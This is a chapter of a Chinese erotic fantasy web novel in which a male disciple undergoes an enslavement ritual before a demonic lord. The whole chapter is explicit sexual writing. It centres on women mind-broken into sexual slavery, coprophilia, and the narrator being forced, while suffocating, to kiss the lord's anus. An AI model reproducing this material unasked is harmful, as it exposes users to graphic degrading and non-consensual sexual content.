第3章 锁魂囚月,媚骨天成

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出卖宗门所有女性的我

第一卷 初心烬

第3章 锁魂囚月,媚骨天成

作者:Valerie 字数:25.0K
万欲邪尊那如同钢铁浇铸般的手指,终于从我的下颌移开。
随着这突如其来的释放,我整个人仿佛失去了所有支撑,瘫软地跪倒在他伟岸的身躯之下。
他缓缓站起身子,紧接着,一声湿滑而暧昧的“啵❤”声再次传来,我不由自主地微微抬起头,再次看到了被镶嵌在椅子里的清音师叔。
她那张扭曲异化的痴傻脸颊,此刻正对着我。
那双原本总是因极致的淫乐而翻着白眼,或是弥漫着一层浓厚水光的浑浊眼眸,似乎破天荒地凝聚起了一丝焦距。
她的目光不再是先前那种纯粹的、野兽般的痴傻与不受控制的发情,而是带着一种复杂到令人难以捉摸的、几乎可以说是充满了矛盾情绪的神色,静静地注视着我。
那眼神中,似乎还依稀残留着一丝属于昔日那位温婉博学的“清音师叔”的、对我这个晚辈如今堕落至此的悲悯与同情;然而,更多的,却是一种令人毛骨悚然的、病态的欣慰与满足,仿佛是因为终于找到了一个可以共同沉沦在这无边秽海中的“同类”而感到的、异样的“安心”。
“月奴啊…”万欲邪尊的嗓音,在我的头顶悠悠响起,轻易便将我的注意力从清音师叔那张既令人作呕又让我的小腹深处莫名其妙地升起一股燥热兴奋的母猪脸上,强行拉了回来,“本尊座下的这些小雌畜们,但凡是新入门的,都会有一个小小的仪式,用以彰显她们对本尊的绝对忠诚与永世归属。这仪式嘛,说来也简单,总共啊,也就那么两个步骤。”
“看好了,月奴。”万欲邪尊说到这里,仿佛是想起了什么特别能取悦他的往事一般,语气中带着些许笑意,“这,便是元初界域无数正道女修,削尖了脑袋也想得到的、梦寐以求的终极归宿!”
轰——!
一股我此前从未真正感受过的、恐怖到难以用任何语言来准确形容的、充满了最原始的欲望与最磅礴的魔道能量的可怕气息,如同沉睡了亿万年的太古凶兽苏醒时的第一声咆哮般,猛然间从万欲邪尊那雄壮魔躯之上毫无征兆地爆发开来!
整个天欲大殿,都因为这股突如其来的、仿佛要将整个空间都彻底撕裂的恐怖气息的剧烈爆发,而发出了不堪重负的剧烈颤抖!
石柱在呻吟,地面在震动,连空气都仿佛凝固成了实质,沉重得让我几乎无法呼吸!
先前因为我的到来而被万欲邪尊刻意压制收敛起来的,那属于魔道巨擎的真正魔威,在这一刻,终于毫无保留地向着四面八方疯狂地席卷开来!
在这股如同天塌地陷般的恐怖气息的无情冲击之下,我只觉得自己的神魂都仿佛要被这股无形的巨力生生碾碎一般,每一寸肌肤,每一根骨骼,都在发出痛苦的哀鸣!
“啊…啊啊…这…这就是主人真正的魔威吗…太…太可怕了…也…也太…太伟大了…❤”我的内心在疯狂地尖叫,身体却因为极致的恐惧和一种更加病态的崇拜而剧烈地颤抖着。
而随着这股恐怖气息的彻底释放,更令我惊骇欲绝的一幕发生了!
我圆睁着那双早已被恐惧和兴奋的泪水浸湿的眼睛,看到万欲邪尊胯下,那根原本就已经雄伟粗壮得超乎我所有想象的狰狞大鸡巴,此刻竟然像是再次被注入了某种神秘的魔能一般,以肉眼可见的速度,再次疯狂地暴涨了起来!
那根如同上古魔龙般黝黑精壮的恐怖棒身之上,那些原本就像是小蛇般盘踞缠绕着的狰狞青筋,此刻根根怒张凸起,如同无数条愤怒的虬龙般,鼓胀得几乎要裂开一般,仿佛有滚烫的、足以焚毁一切的岩浆正在其下疯狂地奔腾咆哮!
而在那坚硬如万载玄铁的恐怖棒身之上,原本光滑的表面此刻竟然密密麻麻地浮现出无数细小的、散发着令人心悸的淡淡幽光的奇异符文!
那些符文如同活物一般,在棒身上缓缓地流淌闪烁,散发出一种古老而邪异的气息!
随着他磅礴魔气的彻底释放,在他那根早已因为充血而变得愈发狰狞可怖、青筋盘虬毕露的坚挺巨硕阳具之上,原本我以为空无一物的表面,此刻竟然赫然浮现出了密密麻麻、数也数不清的、如同夜空中最璀璨的星辰般不停闪烁着的、散发着各种异样光芒的微小印记!
那些印记形态各异,有的晶莹剔透,如同清晨桃花瓣上初凝的露珠,散发着淡淡的粉色霞光;有的纤细弯曲,宛若一弯悬挂在天际的新月,透着清冷而圣洁的银白光晕;有的则如同传说中凤凰涅槃时燃烧的火焰,跳动着炽热而决绝的赤红光芒…每一个印记,都散发着一股虽然微弱至极,但其本质却精纯无比、令人心神俱醉的纯净元阴气息!
这…这是那是那是传说中的本源元阴印记!!!
那是只有无数身份高贵、修为精湛的女性修士,在她们的修为臻至大成,体内的元阴之力凝练到了最纯粹、最本源的极致状态之后,才能在她们的灵魂深处、在她们生命本源的核心之处,烙印下的、独一无二的生命精华的象征!
而此刻,这些曾经属于不同时代、不同宗门、不同身份的仙子、神女、圣女们的、代表着她们贞洁与力量的珍贵无比的本源元阴印记,竟然如同最低贱的奴隶烙印一般,密密麻麻地烙印在了万欲邪尊这根尺寸恐怖的雄壮巨屌之上!
它们如同魔神战车上最耀眼的血腥勋章,又如同地狱锁链上最屈辱的奴隶印记,无声而又残酷地昭示着,这些曾经高贵圣洁、不容亵渎的女性,最终都在这根如同恶鬼降世般雄壮恐怖的非人巨屌的无情征伐之下,彻底地臣服,心甘情愿地献出了自己的一切——包括她们的肉体、她们的元阴、她们的尊严,以及她们的灵魂!
“咿咿咿咿噫噫噫噫噫❤❤❤❤???!!!!啊啊啊…顶…顶到最里面了…要…要射进来了哦哦哦哦哦哦齁齁齁齁齁❤❤❤!我…我去了啊啊啊啊啊啊啊❤❤❤!!!!!!!!”
“咕齁齁齁齁齁齁齁…哦哦哦哦哦哦噢噢噢噢噢噢噢噢哦哦哦哦哦❤~!!!!不、不好…要坏掉了呜呜呜哦哦哦噢噢噢噢噢噢噢噢哦哦哦哦哦❤~!!这、这种…这种要命的大鸡巴❤~要、要被主人这根灭绝人性的雌杀巨屌…活活肏死了❤!哦哦哦哦哦哦哦哦哦哦嗯啊❤~!!”
“啊…嗯啊…主人…主人你好猛…你好厉害啊…啊啊啊…贱奴…贱奴要被主人肏死了…不行了…主人的大鸡巴太厉害了…人家的魂儿都要被主人的大鸡巴给吸走了啊…啊…要升天了…要…要献出元阴了啊…师尊救我…不…啊啊啊啊❤”
一阵阵虚无缥缈,却又真实得令人发指的、充满了极致痛苦与无上淫乐的女子呻吟声、浪叫声、哭喊声、求饶声,如同九幽魔音般,从四面八方潮水般涌来,狠狠地灌入我的耳膜!
这些声音,每一个都带着不同的音色,不同的韵味,却又无一例外地充满了对万欲邪尊那恐怖雄根的无限崇拜与雌伏渴求!
“啊…啊啊…这些…这些都是曾经的仙子们吗…她们…她们也和我的师尊师姐们一样曾经也是那样的风华绝代…那样的受人敬仰…可是现在…现在她们都…”
我仿佛看到,无数位曾经高高在上、宛如九天玄女般不食人间烟火的绝色仙子们,此刻正赤裸着她们那曾经圣洁无瑕、如今却已然汗腻淋漓、沾满了各种可疑液体的娇媚软嫩玉体,以各种我连想都不敢想的、屈辱不堪到了极点的淫荡姿态,如同最卑贱的母狗一般,围绕在万欲邪尊那伟岸如魔神般的脚下。
哭喊着,哀求着,扭动着,甚至彼此撕咬着,争抢着,只为了能够博得主人的片刻垂青,只为了能让他那根狰狞可怖、散发着滚烫热气的吞天巨屌,插入自己那早已被开发得温软潮湿、饥渴不堪的焖熟肥穴之中,将自己体内那苦修百年千年才凝练出来的、最宝贵的本源元阴,连同自己的灵魂与意志,一同彻底地、毫无保留地,献给眼前这位带给了她们无边无际的痛苦、却也同样赐予了她们无法抗拒的极致快乐的恐怖魔神!
“呵呵,听到了么?”万欲邪尊的声音中充满了毫不掩饰的得意与令人不寒而栗的自豪,他伸出那只布满了老茧的粗糙大手,在那根布满了无数仙子元阴印记的狰狞巨屌之上轻轻地、带着一丝欣赏意味地抚过,如同在抚摸着一件最完美的艺术品,又像是在检阅着自己最引以为傲的战利品,“这,便是本尊‘认主仪式’的第一个步骤——‘阳精贯体,元阴献纳’。每一个被本尊彻底征服、彻底占有的雌畜,都会在本尊胯下,在那灵魂与肉体同时攀上极乐巅峰的刹那,将她们体内最纯粹、最本源的元阴之力,一丝不剩地,尽数奉献给本尊这根无上的‘圣器’!”
“可惜呀…可惜…”他的目光缓缓转向匍匐在他脚下、早已被眼前的景象和那靡靡之音刺激得浑身瘫软、胯下淫水横流的我,带着一丝显而易见的的轻蔑,低头瞥了一眼我那根软趴趴地贴在我大腿根部的废物鸡巴,“你这小废物,却是个带把的。本尊可从你这不中用的身子上,榨不出什么有价值的东西。不过嘛…”
他的声音微微拖长,带着一种猫捉老鼠般的玩味与残忍的戏谑:“这‘认主仪式’啊,还有第二个步骤,名为‘灵力奴印’。便是要求新入门的雌畜,要将你那微不足道的全部灵力,运起周天,尽数汇聚到你的双唇之上,让你的嘴唇,变成一枚能够直接铭刻下灵魂印记的、独一无二的炙热印章。然后,用这枚饱含了你全部生命与忠诚的‘唇印’,在本尊身体的某一个部位,印下真正属于你的、永不磨灭的标记。一旦亲上,这唇印便不仅仅是唇印了,它会化作一道蕴含着你灵魂本源的奴隶印记,深深地、永远地烙印在本尊的肉身之上,也同样会深深地、永远地烙印在你的灵魂最深之处,代表着你从今往后,永生永世,都只属于本尊一人,再无更改的可能,成为本尊最卑贱,也是最‘特别’的私有物。”
主人的目光如同实质的利刃般,在我早已因为羞耻和兴奋而微微颤抖的身体上来回游走了一圈,带着一种审视的意味。
最终,他的目光落在了我那张因为过度的激动而微微张开、不断泌出淫靡津液的嘴唇之上,“那么,月奴,你这张还算清秀,也颇有些雌媚之态的贱嘴,会选择在本尊的哪个部位,留下你这卑贱至极,却又意义非凡的‘初吻’呢?”
“灵力奴印”…“永不磨灭”…“初吻”…
一股难以言喻的羞耻混合着极致的兴奋席卷了我的全身!
我能感觉到自己的脸颊烫得吓人,连带着耳根都烧了起来。
胯下那根不争气的废物鸡巴,早已不受控制地再次硬挺起来,虽然依旧短小可怜,却倔强地指向了主人的方向,顶端那小小的马眼更是兴奋地不断泌出一滴滴稀薄而腥臊的骚液。
亲吻主人的身体…留下属于我月奴的、永不磨灭的印记…
我的脑海中此刻一片空白,只剩下主人那低沉而富有磁性的、如同魔音灌耳般的声音在不断地、反复地回响。
我该亲吻哪里?
我到底该亲吻主人的哪个部位,才能最好地表达我对主人的无限崇拜与敬仰?
哪里才能最彻底地体现我对主人那份深入骨髓、融入灵魂的绝对臣服与雌伏之心?
手臂?
那里太过普通,无法彰显我的虔诚。
胸膛?
虽然宽阔伟岸,但似乎也缺少了那么一丝“特殊”的意义。
难道是是那根布满了无数仙子元阴印记的、代表着无上征服与绝对力量的、令人望而生畏、顶礼膜拜的擎天巨屌吗?
不…不!这些…这些都远远不够!远远不够啊!
“对!我曾听闻过,那些魔道之中,最为卑贱、也最为懂得取悦主人的雌奴,为了表达她们对主人最极致的忠诚与奉献,为了将自己的灵魂彻底融入主人的生命,她们会不惜一切代价,舍弃所有的尊严与羞耻,去亲吻、去舔舐主人身体之上那些最污秽、最低贱,却也往往是最能体现主人本质与权力的部位!”
我的心中如同有一道闪电划过,一个疯狂而又充满了病态诱惑的念头,如同雨后春笋般,不可抑制地从我那颗早已被欲望和雌伏本能彻底占据的脑海中猛地冒了出来!
是的!
只有那里!
只有那个象征着主人消化吸收世间万物、又将所有污秽糟粕排泄而出、代表着世间终极的污浊与至高的权力的神秘幽邃之所在,才真正配得上我月奴这第一个,也是永生永世都绝不会改变的“灵力奴印”啊!
“主…主人❤…”我的声音因为前所未有的激动和难以抑制的狂喜而剧烈地颤抖着,“月奴…❤哦齁齁…月奴想…月奴…月奴想用这张下贱的、只配吃屎喝尿的臭嘴…去亲…去亲主人那至高无上、神圣无比的屁眼…❤”
这个念头一旦清晰无比地说出了口,我便立刻感觉到,一股比先前更加滚烫、更加汹涌的热流,猛地从我胯下那根早已因为兴奋而硬得发紫的粉嫩包茎鸡巴之中喷涌而出,那稀薄如水、带着浓烈骚臭的精浆不受控制地、一波接着一波地喷射出来,将我身下的血玉地面都弄湿了一大片。
万欲邪尊似乎对我这个卑贱的请求感到毫不意外,他微微挑了挑眉,随即发出一阵低沉而愉悦的笑声:“哈哈哈哈哈!好!好!好!月奴,你果然没有让本尊失望!这份‘觉悟’,这份‘虔诚’,当真是深得本尊之心啊!既然如此,本尊今日便成全你这份卑微的愿望!抬起你的头,将你的脸,给本尊放到这血玉龙椅的座位上来罢!”
我笨拙地调整着自己那早已因为长时间的匍匐而有些麻木僵硬的姿势,挣扎着抬起那颗因为充血而涨得通红的头颅,以一种我此生所能展现出的、最最虔诚、也最最卑微的姿态,将自己的脸颊放在了那张散发着淡淡血腥与檀香气息的、冰凉而又坚硬的血玉龙椅的座位之上。
我的脸颊才刚刚接触到那冰冷的龙椅座位,一股几乎能将人直接熏晕过去的浓烈气味,便毫不留情地钻入了我的鼻腔深处!
“呜!”
我的左脸颊微微向内侧偏转,眼角的余光瞥见一团温热而柔软的物事,正以一种怪异的频率轻微蠕动着。
那物事离我的脸颊不过寸许,每一次蠕动都伴随着一阵阵湿热到令人皮肤发烫的、带着浓重鼻音与异样粘腻感的喘息声。
我用尽全力,才勉强将那因为恐惧和过度兴奋而几乎要凝固住的眼珠转动了一丝。
视线所及之处,赫然便是清音师叔那张早已被魔气和污秽彻底改造得面目全非,散发着浓郁骚臭的、酷似发情母猪的痴傻脸庞!
如此近的距离,我甚至能清晰地看到她那双原本流光溢彩、清澈明亮的杏眼,此刻却已然变得一片浑浊,黯淡无光,眼球表面布满了如同蛛网般细密的血丝。
她的眼白几乎完全翻了上去,只在眼角处残留着一丝微弱到几乎无法捕捉的、属于人类神智的焦距。
偶尔,她的眼珠会不受控制地转动一下,那空洞呆滞的眼神中,会倏忽闪过一缕属于昔日那位风华绝代、才情横溢的“清音仙姑”的、极其短暂的微弱光芒。
但这缕光芒就如同风中残烛,只是一闪,便立刻被更加浓郁的、只属于被彻底调教好的雌畜的淫靡与绝对顺从所无情吞噬。
“呼…哧…呼…哧…”一阵阵温热到几乎能将我的皮肤灼伤的、带着难以名状的特殊味道的湿浊气息,从她那张因为变形而显得格外巨大的嘴巴和鼻孔之中,源源不断地、如同实质般地喷吐在我的脸颊之上,令我的头皮阵阵发麻。
那股气味,复杂到了极致,浓烈到了令人作呕的程度。
其中固然有属于长期发情的成熟雌畜身上特有的那种,带着一丝丝甜腻奶香的骚媚雌香,但深藏在这股雌香之下的,却是一种更加原始、更加霸道的恐怖恶臭——那是那是属于主人万欲邪尊的、最纯粹的屎尿臭气!
这股恐怖的味道,并非仅仅是从清音师叔此刻这具雌畜般的身躯表面散发出来的,而是更加深入骨髓地,从她的口腔最深处,从她每一次粗重的呼吸之间,源源不断地涌现出来!
我甚至能够想象,在无数个不见天日的日日夜夜里,她是如何被迫或主动地,用她那张曾经能唱出令整个修真界都为之倾倒的九天仙乐的樱桃小口,去卑微地舔舐主人排泄之后沾满污秽的狰狞屁眼,去虔诚地吞食主人温热腥臊的屎尿,去贪婪地吸吮主人随兴崩出的每一个恶臭熏天的响屁…这些常人连想都不敢想的污秽不堪的气息,早已如同最恶毒的诅咒一般,永远地烙印在了她的口腔,她的咽喉,她的五脏六腑,甚至渗透进了她的每一次呼吸、每一寸骨血之中,成为了她这具被彻底改造的雌畜之躯永世无法磨灭的、代表着极致屈辱的特殊印记!
“噗噜…❤齁…”她似乎是察觉到了我脸颊的靠近,那条因为长时间帮助主人清理屁眼、舔食污秽,而变得异常宽厚肥大、表面甚至还沾染着一些难以名状的、已经干涸发黑的褐色可疑污痕的巨大肉舌,缓缓地、带着一丝讨好与好奇,从她那张因为五官变形而显得更加宽阔、并且正不断向下滴淌着散发着恶臭的粘稠唾液的嘴中伸了出来。
带着一股令人闻之欲呕的浓重腥臭,轻轻地、一下又一下地舔舐着我的脸颊。
“噗噜❤…滋啦❤…”
她的舌头像是一条失去了骨头般柔软的肉虫,在我冰凉的脸颊上缓慢而又执着地滑动着,留下了一道道黏腻而又带着一丝微凉的口水印记。
这轻柔到近乎缠绵的动作,以及从她口中呼出的、混杂着尿骚与淡淡奶香的独特气息,恍惚间,让我那颗早已被无边恐惧和病态兴奋填满的混乱大脑,产生了一丝短暂的、几乎可以说是荒谬的错觉。
我仿佛又回到了遥远的、无忧无虑的过去,在我还是那个懵懂无知、不谙世事的小小入门弟子时,眼前这位散发着浓烈污秽臭气的清音师叔,也曾用她那双温暖而又灵巧的纤纤玉手,这般温柔地、慈爱地抚摸着我的头顶,用她那如春风般和煦的目光注视着我,给予我无声的安慰与鼓励…
但是,紧接着,舌头上那股令人作呕的粘腻触感,以及从她嘴角不断溢出的、散发着强烈尿骚与淡淡屎臭的腥臊唾液,又毫不留情地将我从那虚幻而短暂的温情回忆中狠狠地、残忍地拽回到了眼前这令人绝望窒息的残酷现实!
这…这哪里还是那个举止高雅、谈吐不凡、身上永远带着清淡药香与悠远书卷气息的清音仙姑?
这分明就是一头被主人用最严酷的手段彻底调教驯化、神魂深处都烙印上了对污秽与主人的无限渴求、只知道用自己的嘴巴和舌头来服侍主人那神圣无比的屁眼,并将这种卑贱到极致的行为视为无上荣耀与终极幸福的下贱雌畜!
然而,即便我的理智在疯狂地尖叫,我的胃在剧烈地翻腾,但从那舔舐之中,从那混合着她口腔中早已分不清是唾液还是主人排泄物残留的粘稠液体之中,我竟然还真切地感觉到了一种属于动物之间最原始、最本能的亲近之意!
是的,就像是两头被圈养在同一个肮脏污秽的栏圈之中的卑贱家畜,会通过互相舔舐对方沾满泥污的毛发来表达彼此间的亲昵,来确认对方与自己同属一类的存在一样!
那些混合着她口腔中各种难以名状的污秽与她自身体液的恶臭唾液,顺着我的脸颊缓缓地、粘稠地滑落,一滴滴地滴落在我身下冰冷坚硬的龙椅座位之上,发出微弱的“滴答”声。
那场景,像极了一头护崽心切的母兽,在用自己身上那独特而又强烈的气味,一遍遍地标记着自己那只刚刚降生、对这个残酷世界一无所知的孱弱幼崽一般,充满了雌畜对于同类,最原始、最直接的亲近、安抚与接纳!
“难道…难道师叔她…她是以这种方式…在‘欢迎’我吗…欢迎我…也成为和她一样的‘家人’吗…?”一种荒谬绝伦,却又带着一丝病态“温暖”的念头,从我那早已被恐惧和兴奋搅成一锅粥的脑海中浮现出来。
“呵…”就在我几乎要被这股混杂了昔日遥不可及的温情与眼前触手可及的极致屈辱的复杂感受彻底淹没之际,主人的声音从我的头顶缓缓传来:“月奴,你这小废物,运气倒还算是不错。”
我那因极度紧张而紧绷的身体猛地一僵,下意识地屏住了那早已因为吸入过多污秽之气而变得滚烫刺痛的呼吸。
“自从把这头自己送上门来的贱畜固定在此处,日夜不停地用她这张还算会伺候人的贱嘴给老子舔屁眼吸臭屁,每日都被它伺候得舒舒服服、清清爽爽,连带着本尊身上那股因为常年修炼魔功、采补元阴而积累下来的燥烈魔煞之气,都他娘的被它给吸走了不少,消减得颇为温顺了。”万欲邪尊的声音中带着一丝显而易见的愉悦和毫不掩饰的自得,“哼,若是让你这小废物,直接承受老子全盛时期的气息,恐怕你现在这点可怜的距离,早就已经魂飞魄散,连根毛都剩不下了,哪里还有机会在本尊面前摇尾乞怜,献上你这卑微的贱命?”
即使此刻只是从清音师叔那张因为长期被各种污物填塞而不断开合的、散发着极致恶臭的母猪嘴中飘散出来的、被她的身体过滤和稀释过的些许气息,就已经让我感觉到如同被无数根烧红的钢针狠狠刺入鼻腔一般,恶心得几乎要当场昏厥过去。
真不敢想象,如果直接面对主人那未经任何削弱的、最纯粹的魔煞与体臭,会是何等恐怖的景象!
“谢…谢谢主人厚爱❤…谢谢主人…谢谢主人愿意收留月奴这条卑贱的母狗❤…”我死死地咬紧牙关,努力不让自己因为那股令人窒息的恶心感和濒临极限的缺氧而当场昏厥过去。
与此同时,我拼命地、近乎自虐般地调动着体内那仅存的的稀薄灵力,将它们如同涓涓细流一般,一点一点地、无比艰难地汇聚到我的嘴唇之上。
我能清晰地感觉到,随着这股微弱灵力的不断注入,我的嘴唇开始不受控制地微微发烫,表面似乎也覆盖上了一层淡淡的、肉眼几乎无法察觉的青翠色荧光,那荧光虽然黯淡,却带着一种奇异的生命力。
“来吧…”主人那低沉而威严的声音再次响起,这一次,其中却又带着一丝丝难以察觉的、如同猎人在等待猎物彻底掉入陷阱般的残忍期待,“本尊倒要仔仔细细地瞧瞧,你这孱弱不堪的小废物,能在这神圣的仪式之中,坚持多久。”
随着他话音的落下,万欲邪尊那如同山岳般庞大魁梧的魔躯,开始带着一股无可抗拒的威严,缓缓地、沉重地向下沉降。
那股恐怖的压力,如同神山崩塌般,瞬间向我席卷而来,让我连一丝反抗的念头都无法升起!
我能清晰无比地看见他那两瓣饱满结实、充满了爆炸性力量的古铜色臀肉,随着他缓缓坐下的动作,如同两扇被无形巨手缓缓推开的、尘封了万古岁月的沉重石门一般,缓慢而又不可逆转地、带着一种令人绝望的宿命感,向着两侧缓缓分开,露出了那隐藏在阴影深处的、令我既恐惧又渴望的最终所在。
终于,那个曾经吞噬了清音师叔所有骄傲与尊严、所有过往与荣耀,让她从一位名动整个元初界域的绝世仙子,彻底沉沦为一个只知吞食主人污秽、摇尾乞怜的下贱雌畜便壶的、最最核心、也最最神秘的最终所在;那个即将成为我月奴永生永世都将用我的生命、我的灵魂、我的一切去虔诚侍奉、去顶礼膜拜的至高圣地;那个凝聚了主人万欲邪尊无上魔威与无边欲望的、代表着绝对的支配与永恒的沉沦的、如同黑洞般深不见底的禁忌之门————它就这么毫无遮掩地、以一种君临天下、睥睨众生的无上姿态,展现在了我的面前!
那是一个近乎完美的圆形孔洞,被周围浓密旺盛的、如同墨染般漆黑卷曲的粗硬肛毛粗暴而又亲密地簇拥着,就如同供奉着某种远古邪异神祇的、充满了原始力量与血腥气息的神秘祭坛一般。
那些肛毛根根粗硬如钢针,带着一种野性而又旺盛的生命力,仿佛是忠诚守护着这片禁忌之地的最后屏障。
而在这片如同黑色森林般浓密的毛发簇拥的中央,那紧紧闭合着的、如同沉睡了亿万年的黑暗火山般的幽邃屁眼轮廓,更是清晰可见,震撼人心!
它并非寻常凡人那般平庸无奇、软弱无力,而是带着一种令人心惊胆战、几乎要顶礼膜拜的、独属于雄性顶峰掠食者的绝对威严与无上力量感。
那里的皮肤颜色,比周围古铜色的臀肉要明显深沉一些,呈现出一种浸染了无尽岁月尘埃与无数禁忌污痕的暗沉酱紫色。
而那一道道如同最精密的工匠精心雕琢而成的细密褶皱,则如同拥有生命一般,紧紧地、富有弹性地向内收束,最终汇聚于那幽深得仿佛能吞噬一切光线与希望的、不可测度的中心黑暗之点。
令人匪夷所思的是,它并不像我先前在那些污秽不堪的幻想中所臆想的那样,会因为常年承受各种污秽之物的排泄而显得肮脏不堪、臭不可闻,反而呈现出一种奇异的、令人心悸的、近乎于“神圣”的“洁净”!
那种洁净,并非凡俗意义上的清水洗涤,而是经过了无数岁月之中、无数位身份高贵、修为精湛的仙子神女们,用她们那原本应该用来吟咏仙乐、亲吻道侣的娇嫩樱唇,一次又一次地、饱含着极致的屈辱与无限的崇拜,充满虔诚地、不知疲倦地、反复地舔舐与吮吸;被各种各样蕴含着她们最精纯的元阴灵力与生命精华的香甜唾液,如同最珍贵的玉露琼浆般,一遍又一遍地冲刷、滋养、浸润之后,才可能形成的、如同最上等、最稀有的血玉玛瑙般深邃幽暗、却又在不经意间会反射出令人心悸的、妖异而又迷人的血色光泽的、独一无二的暗红色!
但…但是!
更让我心神为之巨震的,是清晰无比地烙印在那幽邃屁眼的中心区域、以及其周围密密麻麻、几乎覆盖了整个内侧臀瓣的、数也数不清的无数唇印!
那些唇印,色彩斑斓得如同魔界最妖异的毒花盛开,鲜红如血、嫣红似霞、粉红若桃、桃红欲滴、绛紫凝血、甚至还有一些散发着幽光的、诡异的墨绿色…每一个唇印的形态都各不相同,有的饱满丰润得如同熟透的浆果,有的纤细小巧得如同初绽的蓓蕾,有的甚至还在边缘处带着一丝因用力过猛而留下的、清晰可见的细小牙印的痕迹!
而在这如同繁星般璀璨,又如同地狱般绝望的无数唇印之中,有一个唇印是如此的与众不同,它并非像其他那些充满了淫靡与绝望气息的唇印一般,只是凌乱地散落在主人屁股的边缘或褶皱之中,而是如同众星捧月般,安静而又孤傲地,深深地烙印在了主人屁眼的最中心,在那所有褶皱最终汇聚的、最为幽深、也最为神圣不可侵犯的禁忌所在!
那是一枚散发着淡淡的、几乎难以察觉的金色光晕的唇印,虽然在周围那些妖冶夺目的唇印的映衬下,它显得有些黯淡无光,甚至可以说是毫不起眼,但它却带着一种难以用任何语言来形容的、仿佛能够净化世间一切污秽与罪恶的、近乎神圣的奇异质感!
“是她!绝对是她!”
我几乎是在看到的瞬间,就辨认了出来!
那抹淡淡的、却又执着不灭的金色光晕,与她昔日在踏月仙宗后山,为我轻声吟唱那些安神助眠的古老歌谣时,周身自然而然萦绕着的那种温和而又精纯的灵力光芒,是何其的相似,简直如出一辙!
她那曾经被誉为“九天仙乐临凡尘,一曲清音洗凡心”的绝世歌喉,她那曾经以救治天下苍生为己任的无边慈悲心肠,她那曾经如同九天之上皎洁明月般高洁无瑕的灵魂…如今,这一切的一切,所有曾经的美好与荣耀,都化作了这枚被世间最浓烈的污秽所包裹、卑微地烙印在主人屁眼最深处的、永不褪色的金色唇印!
“师叔…我来了…我来…陪您了…”
我的眼角不受控制地滑下两行滚烫的泪水,但嘴角却又因为一种难以言喻的“使命感”而疯狂地向上扬起。
我努力地调整着头颅的位置,将我那不断泌出屈辱而又兴奋的津液的嘴唇,精准地对准了清音师叔那枚令我心碎又让我感到无比“亲切”的淡金色灵力唇印。
随着主人那如同山岳般沉重的屁股不断地、稳定地向下沉落,它在我因为恐惧和期待而瞪大的双眼之中所占据的面积,也在以一种令人绝望的速度飞快地变得越来越大!
那原本在我眼中还只是一个深邃而神秘的孔洞的屁眼,此刻却仿佛骤然化作了一座足以遮蔽整个天日的黑色巨山,又像是一张在虚空中缓缓张开的、准备吞噬整个天地的狰狞巨口,带着毁灭一切生灵的威势,向着渺小如同蝼蚁般的我,重重地压了下来!
最终,只听得“啪嗒”一声轻微却又清晰得令人心悸的、仿佛某种柔软物体与另一个柔软物体紧密贴合时发出的黏腻闷响。
主人的身体,终于完完整整地落在了我的脸上。
而我那早已因为凝聚了全部灵力而变得滚烫的嘴唇,也与清音师叔那枚淡金色的灵力唇印,以及主人那幽深莫测的屁眼最核心之处,完美地贴合在了一起!
就在那接触的瞬间,我感觉到一股难以用任何言语去准确形容的、混杂了极致柔软与无比坚韧的奇妙触感,瞬间从我的嘴唇传遍了我的四肢百骸!
那并非我先前在肮脏幻想中无数次臆想过的、属于凡人屁眼的粗糙与松弛,而是一种只有经过了千锤百炼、吸纳了无数顶级仙子本源元阴精华之后,才能形成的温润细腻,却又同时带着一丝如同万载寒铁般冰冷刺骨的奇妙质感!
紧接着,一股我此前生命中从未体验过的、足以将钢铁都碾成粉末的巨大压力,猛地从我的上方狠狠传来!
主人的体重是如此的沉重,简直就像是一座从九天之上轰然坠落的真正山岳,将我的整个渺小卑微的头颅,都牢牢地压在了冰冷而又坚硬的龙椅座位之上,让我连一丝一毫动弹的可能都没有。
我的颧骨和下颌骨,因为这股无可抗拒的巨大压力而发出阵阵不堪重负的“咯吱、咯吱”的哀鸣,仿佛下一刻就会被这恐怖的重量彻底压碎成一堆肉泥一般。
“噗呜…呃…”我张大了嘴,本能地想要呼吸,然而每一次艰难的吸气,都只能将那股混杂了主人身上浓烈的雄性汗臭、野兽般的原始体臊、以及难以用语言形容的、属于肠道最深处的陈年排泄物残留的浓烈臭气,更加深入、更加彻底地吸入我的肺腑,灌满我的胸腔!
我的鼻腔和口腔,在接触到这股堪称“剧毒”的气息的瞬间,便被彻底填满,每一个味蕾都在因为这股前所未有的恐怖味道而疯狂地尖叫,口腔内的每一寸黏膜都在这股霸道气息的侵蚀下发出痛苦不堪的呻吟!
与此同时,一股远超我先前所有想象,浓烈到几乎要将我的灵魂都彻底熏黑、融化的极致恶臭,从那与我嘴唇紧紧贴合着的、如同无底深渊般的幽邃屁眼最深处,如同拥有生命般汹涌澎湃地奔涌而出,蛮横地钻进我的口腔、我的鼻腔、我的咽喉、我的气管、我的每一寸呼吸道!
“咕…呃…”我拼命地挣扎着,想要呼吸到一丝新鲜的空气,然而每一次徒劳的吸气,都只能将那股足以令神佛都为之色变的、混合了霸道汗臭、原始体臊、以及陈年老屎与新鲜热屁的难以名状的恐怖恶臭,更加彻底地吸入我那早已不堪重负的肺腑!
不知道究竟过去了多久,或许仅仅只是一眨眼的瞬间,又或许是如同一个世纪般漫长的永恒。
我的眼前一片漆黑,只有主人那如同烧红烙铁般坚硬滚烫的厚实臀肉,紧紧地、严丝合缝地压迫着我的眼眶,让我连睁开眼睛都成为了一种奢望。
我感觉自己就像是被一座从九天星河之上猛然坠落色巨山,死死地镇压在了山脚之下的万丈深渊之中。
整个世界,仿佛只剩下了这片令人窒息的、充满了绝望的黑暗,以及从那无边黑暗的核心之处源源不断散发出来的、几乎要将我的灵魂都彻底熏烂腐蚀的恐怖恶臭。
随着时间的推移,那股原本就已经足以令任何生灵当场昏厥过去的恐怖恶臭,非但没有丝毫减弱,反而变得越来越具有侵蚀性,如同最歹毒的腐蚀性魔药一般。
渐渐的,我的身体因为长时间被这股来自地狱深渊的恶臭所无情地熏染,而开始产生一种火辣辣的剧烈灼痛!
我甚至能清晰地感觉到,我的鼻腔黏膜、我的口腔内壁、我的喉咙、我的气管,都在这股堪称“万毒之源”的恐怖气息的无情侵蚀之下,开始一点一点地溃烂、融化,变成一滩滩散发着更浓恶臭的脓血!
一种难以用任何言语来形容的恶心与绝望,如同最冰冷、最黑暗的潮水一般,逐渐地、无情地淹没了我的意识,吞噬着我最后残存的理智。
